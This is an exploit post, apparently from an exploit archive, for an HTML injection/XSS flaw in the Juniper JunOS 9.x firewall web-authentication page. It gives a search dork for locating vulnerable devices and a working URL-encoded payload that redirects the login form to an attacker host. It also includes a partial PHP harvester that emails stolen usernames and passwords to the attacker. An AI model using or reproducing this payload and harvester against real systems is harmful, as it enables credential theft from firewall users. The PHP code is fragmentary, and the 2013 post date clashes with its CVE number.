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Juniper JunOS 9.x Cross Site Scripting

Juniper JunOS 9.x Cross Site Scripting
Posted Jul 24, 2013
Authored by Andrea Menin

Juniper JunOS version 9.x suffers from a html injection vulnerability that allows for cross site scripting attacks.

tags | exploit, xss
systems | juniper
advisories | CVE-2014-3821
MD5 | 09aec546e2e8fb3a83f2428948e03269

Juniper JunOS 9.x Cross Site Scripting

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Exploit Title: Juniper JUNOS 9.X HTML Injection Vulnerability
Google Dork: intext:"2009, Juniper Networks" intext:"Firewall User Web-Authentication"
Date: Jul 24th 2013
Exploit Author: Andrea Menin (linkedin.com/in/andreamenin)
Vendor Homepage: http://www.juniper.net
Version: JUNOS 9.X
Tested on: Firefox 22.0

The Juniper Firewall has a PHP authentication and authorization
page for using ports and services that usually are not enabled.
The page contains a html form that sends authentication requests
to the following url:


Looking at this URL we can see that, along with your username
and password, will be sent the variables $target, $auth_id and
$ap_name. The contents of these variables is placed in the
destination URL of the html form ("action" argument), so
injecting HTML code into these variables can change the form,
and you can change the "action" parameters for collect username
and password on external page.

The exploit consists on injecting DOM functions for
replace the "action" parameters into the tag <form>
with an external URL that will collects username
and password used by the users. You can use the
DOM function "setAttribute" for replace the "action"
parameters, like this script:

var f = document.getElementsByTagName('form')[0];
f.setAttribute('action', 'http://i.am.a.bad.boy.xy/fuck.php');

Exploit URL:

https://<firewall ip>/?target=&auth_id=&ap_name=%22%3E%3Cscript%3Edocument.getElementsByTagName%28%27form%27%29[0].setAttribute%28%27action%27,%20%27http://i.am.a.bad.boy.xy/fuck.php%27%29%3C/script%3E%3Ca%20href=%22

url-decoded, appears like this:

https://<firewall ip>/?target=&auth_id=&ap_name="><script>document.getElementsByTagName('form')[0].setAttribute('action', 'http://i.am.a.bad.boy.xy/fuck.php')</script><a href="

The PHP script "fuck.php" will receive, via POST http request,
the username and password. I've write this exploit that sends
me an email when a new username and password received, and then
redirect the users to the original firewall's login page.

// send me your password
'new juniper password',
"user: ".$_POST['username']."\npass: ".$_POST['password']."\n\n",
"From: Jesus <badboy@holy.crap>\n"

// taking user to home

have fun.

Andrea (aka und3r) Menin
menin.andrea [at] gmail.com


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